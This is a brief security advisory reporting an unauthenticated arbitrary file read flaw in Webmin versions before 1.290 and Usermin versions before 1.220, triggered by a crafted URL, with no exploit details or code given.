A vulnerability has been reported in Webmin and Usermin, which can be  
exploited by malicious people to disclose potentially sensitive information.  
The vulnerability is caused due to an unspecified error within the handling  
of an URL. This can be exploited to read the contents of any files on the  
server via a specially crafted URL, without requiring a valid login.  
The vulnerability has been reported in Webmin (versions prior to 1.290) and  
Usermin (versions prior to 1.220).
